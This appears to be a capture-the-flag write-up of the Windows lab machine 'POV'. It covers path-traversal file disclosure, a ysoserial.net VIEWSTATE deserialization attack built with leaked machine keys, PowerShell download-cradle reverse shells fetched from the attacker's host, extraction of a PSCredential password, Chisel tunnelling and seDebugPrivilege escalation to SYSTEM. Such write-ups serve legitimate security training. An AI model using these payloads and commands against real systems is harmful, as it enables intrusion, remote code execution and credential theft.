PRIMARY CATEGORY → MEDIUM

Summary

  • Fuzzing web resources with Ffuf
  • File Disclosure leads to LFI via Directory Path Traversal
  • Leaked web.config file thanks to LFI leads to a Deserialization Attack
  • Deserialization: VIEWSTATE Code Injection to gain RCE as the service account running the web application using YSoSerial.NET
  • LPE: File Disclosure leads to a plain password extraction from a PSCredential Object stored in a CLI-XML file - $cred.GetNetworkCredential().password
  • Local Port Forwarding with Chisel to make the WinRM port accesible
  • PE: Abusing seDebugPrivilege to gain RCE as Local System using PSGetSystem.ps1

Zoom in


Setup

Directory creation with the Machine’s Name

mkdir POV && cd !$

Creation of a Pentesting Folder Structure to store all the information related to the target

mkdir {Scans,Data,Tools}

Recon

OS Identification

First, proceed to identify the Target Operative System. This can be done by a simple ping taking into account the TTL Unit

The standard values are →

  • About 64 → Linux
  • About 128 → Windows
ping -c1 10.129.230.183

As mentioned, according to the TTL, It seems that It is a Windows Target

Port Scanning
General Scan

Let’s run a Nmap Scan to check what TCP Ports are opened in the machine

The Scan result is exported in a grepable format for subsequent Port Parsing

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn --disable-arp-ping -oG POV.allPorts 10.129.230.183

Open Ports →

80
Comprehensive Scan

We can apply a little filter to the POV.allPorts file to extract the ports and conduct a more comprehensive scan on them by extracting the services and their version running on each port and also executing some default scripts to gather more information

Note that this scan is also exported to have evidence at hand

nmap -p$( grep -ioP --color '\s\d{1,5}(?=/open)' POV.allPorts | xargs | sed 's@\s@,@g' ) -sC -sV -v -n -Pn --disable-arp-ping -oN POV.targeted 10.129.230.183
80 - HTTP

This time we only have one TCP port to inspect, namely port 80

Let’s start by enumerating the web technologies running behing the web application hosted on the target

whatweb http://10.129.230.183

And we have an email account. Since the domain contains the name of the machine in question, let’s add it to the /etc/hosts file just in case the web server is using virtual hosting to offer different content depending on the requested HTTP Host header

printf "%s\t%s" "10.129.230.183" "pov.htb" >> /etc/hosts

We have to check if the same content is delivered by the web server when a client makes an HTTP request to both the IP Address and the previous domain

curl --silent --location --request GET "http://10.129.230.183" | wc -c ; curl --silent --location --request GET "http://pov.htb" | wc -c

And the number of characters is the same, so yes, it is the same content in both cases

Therefore, we will access the following URL from the browser to see which web application we are dealing with

http://pov.htb

And we get the following rendered content

Zoom in

It appears to be an static website with nothing interesting apart from a contact form located at the bottom of the page

Zoom in

The form tag does not have any action attributes, so the entered data is not sent to any endpoint

Similarly, we can start Burpsuite and enable the intercept to grab the HTTP request in case there is one

But there is not, it does not intercept anything. The submit button redirects to the top of the page, so we cannot see anything interesting in the Network section of the Dev Tools

Anyways, we can confirm that no data is sent to the target

There is nothing interesting in the source code either

The current page we are on is an index.html. Again, we can validate this by visiting the following URL

http://pov.htb/index.html

The same website is displayed, so we can fuzz for HTML resources to see what we can get. The following command will search for directories as well

ffuf -v -t 200 -w /usr/share/seclist/Discovery/Web-Content/directory-list-2.3-medium.txt -e '.html ' -u 'http://pov.htb/FUZZ.'

Nothing interesting again…

However, if we look at the footer of the website, we see a subdomain called dev.pov.htb

Before fuzzing for subdomains and virtual hosts, let’s add this subdomain to the /etc/hosts file and access its related virtual hosts from the browser

printf "\t%s" "dev.pov.htb" >> /etc/hosts

And we have another website, the entered URL redirects to http://dev/pov.htb/portfolio

Zoom in

Any section of the header send us to different locations on the same page

All appears to be static content again, except for download buttom below

Zoom in

When the submit action is triggered, it calls a postback javascript function to send certain data via HTTP POST to the server

Zoom in

We see that a file value is sent along with some ASP.NET parameters


Exploitation

File Disclosure

Whenever we deal with a VIEWSTATE base64-encoded blob sent to the server along with another related data such as a VIEWSTATEGENERATOR and so on, a VIEWSTATE Code Injection must come to mind

This is a deserialization attack. A VIEWSTATE structure basically contains instantiated classes (objects) on the server, which are serialized, encrypted and MAC-signed

The two last operations are performed to prevent any manipulation and information disclosure from the client side

As long as I know, a recommended security practice is to configure the IIS server to generate the symmetric keys used for these cryptographic tasks at runtime. This way, they are not always the same

However, many web or sysadmins keep these values statically. If so, they are stored in a web.config file. This file is similar to an .htaccess. It may contains web server and website directives as well as sensitive information such as passwords, tokens, keys and so on

That said, since there is a file parameter in the previous POST request pointing to a CV.pdf file, we could check for a possible file disclosure flaw by setting another filename, such as default.aspx, which is usually the index of an ASPX website

Zoom in

Here we go! We have a file disclosure!

The source code of the default.aspx file is displayed. In the first line, we see a reference to a C# file that probably contains functions or code structures related to the former

Let’s display its content

Zoom in

LFI through Directory Path Traversal leads to a Deserialization Attack
VIEWSTATE Code Injection using YSoSerial.NET

And we see a declared method that performs string replacement when the provided file contains the string ../, probably to mitigate the risk of an LFI via a Directory Path Traversal

We can see if there is a web.config file in the current working directory before trying with a Directory Path Traversal

Zoom in

But there is not. Since the target is a Windows system, we can easily bypass the above filter by using ..\ instead of ../

Zoom in

Here it is! We have everything we need to carry out a VIEWSTATE Code Injection

  • Encryption Algorithm
  • Decryption Key
  • Validation Algorithm
  • Validation Key

From here, we should look for a valid gadget chain to achieve remote code execution by serializing, encrypting and MAC-signing the provided data, for which we will use the previous symmetric keys stored in the web.config file

To do so, we will use YSOSerial.net, which makes it easier for us to generate the final serialized payload by selecting the appropiated gadget chain along with other specified data

We can run this tool from a Windows machine. Let’s see examples for the VIEWSTATE plugin

IWR -UseBasicParsing -Uri "https://github.com/pwntester/ysoserial.net/releases/download/v1.36/ysoserial-1dba9c4416ba6e79b6b262b758fa75e2ee9008e9.zip" -OutFile ".\ysoserial_net.zip"
Expand-Archive -Path '.\ysoserial_net.zip' -DestinatioPath '.\ysoserial.net' -Force
.\ysoserial.net\Release\ysoserial.exe --plugin ViewState --examples

We can try with the first example, which uses the TextFormattingRunProperties gadget

It is necessary to change the value of some parameters. So, the command would be the following after the required replacements

.\ysoserial.net\Release\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "ping -n 1 10.10.15.174" --path="/portfolio/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468"

Remember that we have have extracted those cryptographic values from the web.config file thanks to the LFI we got earlier

To check if the generated payload works properly, we will attempt to send an ICMP packet with the ping command

Therefore, we will use tcpdump to filter by ICMP packets received from the target

Zoom in

tcpdump --interface tun0 -v -n host 10.129.230.183 and icmp

And we have achieved Remote Code Execution through a deserialization attack! Which is pretty common to be honest

Take into account that we have managed to serialize our payload by leveraging the LFI we found, for which we have had to use a Directory Path Traversal bypass


Shell as Web User

From here, we can send a reverse shell from the target to our machine. To do so, let’s proceed as follows

First, download the reverse shell script from the Nishang repository

curl --silent --location --request GET "https://github.com/samratashok/nishang/raw/refs/heads/master/Shells/Invoke-PowerShellTcpOneLine.ps1" --output rev.ps1

And edit it modifying both the IP Address and TCP port

Next, set up both an HTTP server to share the above resource and a TCP listener on the indicated port

python3 -m http.server 80
nc -nlvp 1234

Finally, create a serialized payload again using the following command

.\ysoserial.net\Release\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA1AC4AMQA3ADQALwByAGUAdgAuAHAAcwAxACcAKQA=" --path="/portfolio/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468"

The base64-encoded powershell encoded string contains the following powershell command

IEX (New-Object Net.WebClient).downloadString('http://10.10.15.174/rev.ps1')

It simply requests the reverse shell we are offering after deploying the HTTP Server and run the HTTP response’s body content, which is the script itself

The above command has been propertly encoded by running the following command

echo -n "IEX (New-Object Net.WebClient).downloadString('http://10.10.15.174/rev.ps1')" | iconv --from-code UTF-8 --to-code UTF-16LE | base64 -w 0

Once we have made the postback request and sent the custom VIEWSTATE, we should recieve the shell on our TCP listener


Privesc #1

Initial Non-Privileged User → POV\SFitz

File Disclosure: CLI-XML file containing a PSCredential Object

One thing I like to do when gaining remote access to the target through the Web Application on a Window machine, is to check the privileges assigned to the current access token

The service account running the Web Server or Web Application usually is able to impersonate other local or domain accounts i.e. act on behalf of them, thanks to the SeImpersonatePrivilege

As operators, we can leverage this privilege to achive RCE as Local System using some specific tools that perform certain calls to local RPC endpoints

whoami /priv

But this time we do not have this privilege set in the current access token

Similarly, we can check which groups the current user belongs to

net user sfitz

This user account does not belong to any interesting group

Let’s list all its home directory recusively

dir -Recurse -Path 'C:\Users\sfitz'

And we have a connection.xml file in the Documents directory

Here we have its content

Get-Content C:\Users\sfitz\Documents\connection.xml

It appears to be a Powershell object stored in a XML file using the Export-CLIXML cmdlet

In this case, the above secure string corresponds to the Alaading user, which belongs to the Remote Management Users group

net user alaading

At the beginning of this assessment, we saw that the only open port was 80 - HTTP

That is, the WinRM service is either not accesible externally, perhaps due to firewall rules, or is not running on the target

We can check if this service is listening on any interface

Get-NetTCPConnection -State Listen -LocalPort 5985 | fl

And it is!

So, once we extract the plain text password from the PSCredential object stored in the connection.xml file, we can gain system access as alaading in many different ways

  • Invoke Command
Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock '{ <COMMAND> }'

We will opt for the latter to avoid problems related to the next PE vector

That said, let’s extract the plain password from the PSCredential object stored in the connection.xml CLI-XML file

To do so, we have to call the GetNetworkCredential() method of the PSCredential object and extract the value of its password attribute

$cred = Import-CLIXML .\connection.xml
$cred.GetNetworkCredential().password

Here we go!

Next, let’s download both chisel binaries for linux and Windows systems

curl --silent --location --request GET "https://github.com/jpillora/chisel/releases/download/v1.11.3/chisel_1.11.3_linux_amd64.gz" --output chisel.gz
gunzip !$
chmod 700 chisel
curl --silent --location --request GET "https://github.com/jpillora/chisel/releases/download/v1.11.3/chisel_1.11.3_windows_amd64.zip" --output chisel.zip
unzip !$

Once we have both binaries ready, we must set a chisel server locally as follows

./chisel server --reverse --port 5555

Then, upload the Windows chisel binary to the target and stablish a connection from there to our machine specifying the WinRM port

  • From the Attacker ⚔️
python3 -m http.server 80
  • From the Target 🎯
mkdir C:\Windows\Temp\PE
cd C:\Windows\Temp\PE
certutil.exe -urlcache -split -f http://10.10.15.174/chisel.exe
.\chisel.exe client 10.10.15.174:5555 R:5985:localhost:5985

We can now access the 5985 port from localhost

nc -vz localhost 5985

We will use Evil-WinRM to stablish a WinRM session with the target as the alaading user account using the previously recovered password

evil-winrm --ip localhost --user 'alaading' --password 'f8gQ8fynP44ek1m3'

Privesc #2

Non-Privileged User → POV\Alaading

Abusing seDebugPrivilege to gain RCE as Local System

First, as always, let’s check the privileges of the current access token

whoami /priv

And seDebugPrivilege is assigned and enabled. As mentioned previously, it results pretty easy to gain RCE as Local System by leveraging this privilege

Any process whose access token has been assigned seDebugPrivilege can debug any non-protected process, which means read and write to its memory space, allowing arbitrary code to be executed as the user running the debugged process

So, an operator running a process with seDebugPrivilege enabled can attach to another proccess running as Local System and spawn a child process of the latter to achieve command execution as this user, thereby gaining access to the system

So, in order to accomplish this task, let’s use PSGetSystem

Since this is a powershell script, we can download it from the target and import it at the same time

  • From the Attacker ⚔️
curl --silent --location --request GET "https://github.com/decoder-it/psgetsystem/raw/refs/heads/master/psgetsys.ps1" --remote-name
python3 -m http.server 80
  • From the Target🎯
IEX (New-Object Net.WebClient).downloadString('http://10.10.15.174/psgetsys.ps1')

Next, we must know the PID of a procees running under Local System, LSAS always runs as the latter

( Get-Process | ? { $_.ProcessName -eq 'lsass' } ).Id

With this PID, we can run the following command to get command execution as Local System

First, we will send another ICMP packet using ping to see if it works

  • From the Attacker⚔️
tcpdump --interface tun0 -v -n icmp
  • From the Target 🎯
ImpersonateFromParentPid -ppid 644 -command 'C:\Windows\System32\cmd.exe' -cmdargs '/c ping -n 1 10.10.15.174'

And it is!

So now, we can use the created reverse shell called rev.ps1 to receive another shell, but this time as Local System 💪🏻

To do so, set up another HTTP server from the attacker and another TCP listener on the same port as before

python3 -m http.server 80
rlwrap -CaR nc -nlvp 1234

Then run the following command in the target

ImpersonateFromParentPid -ppid 644 -command 'C:\Windows\System32\cmd.exe' -cmdargs '/c powershell.exe -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA1AC4AMQA3ADQALwByAGUAdgAuAHAAcwAxACcAKQA='

And we have received the reverse shell as Local System!

All that remains to grab the content of both flags and move on to the next machine!😊